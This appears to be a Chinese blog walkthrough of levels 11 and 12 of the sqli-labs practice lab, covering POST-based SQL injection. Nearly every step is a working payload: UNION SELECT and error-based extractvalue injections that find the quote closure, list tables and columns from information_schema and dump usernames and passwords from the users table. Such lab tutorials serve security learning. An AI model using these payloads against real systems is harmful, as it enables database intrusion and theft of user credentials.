sqli-labs第11~12关详细教程

第11关

11关是post注入,所以我们进入页面先登录一下,默认账号:admin,密码:admin

第一步判断闭合方式,用'\来判断,输入admin'\

发现报错'\后面是一个单引号,那闭合方式为',也就是单引号

第二步判断页面回显点,输入admin'\ union select 1,2 #

发现 username和password会回显,也就是1和1字段会在页面显示

第三步判断数据库名字

1和2都能回显所以写在哪里都行,输入:1'union select database(),2#  数据库名字会在1的位置显示

也可写在2的位置,输入1' union select 1,database()#,数据库名字会在2显示

如果还想用admin,就用-admin' 来写,语句为-admin' union select database(),2#

第四步判断表名

输入语句: 1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#  这里还是用了union select联合查询1,2    表名为emails,refers,uagents,users

第五步判断列名

输入1' union select group_concat(column_name),2 from information_schema.columns where table_schema='security'and table_name='users'#   显示列名为id,username,password

第六步判断列名字段内容

 输入1' union select group_concat(id,username,password),2 from users #

第12关

第一步判断闭合点

登录一下用账号amin密码admin

输入1'\,报错语句中\后面为''),也就是双引号小括号为闭合点 ")

第二步判断页面回显点

输入1") union select 1,2#   还是1,2字段回显

第三步判断数据库名字

输入1") union select 1,database()#,还是和11关一样,也可放在1的位置

1") union select database(),2#

第四步判断表的名字

有两种方法来查询方法一:1") union select group_concat(table_name),2 from information_schema.tables where table_schema='security'# 表全部查询出来

方法2:1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))#

0,1代表第一个表emails 

1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))#   第二个表语句  refers表

第三个表  1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))#   uagents

第四个表1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1)))#  users

第五步判断列名

 语句:1") union select group_concat(column_name),2 from information_schema.columns where table_schema='security'and table_name='users'#

也可以用extractvalue语句1") and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))#

其他列大家可以自己试

第六步判断字段内容

1") union select group_concat(username,password),2 from users #

1") and extractvalue(1,concat(1,(select username from users limit 1,1)))#

剩下的大家可以自己试试 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值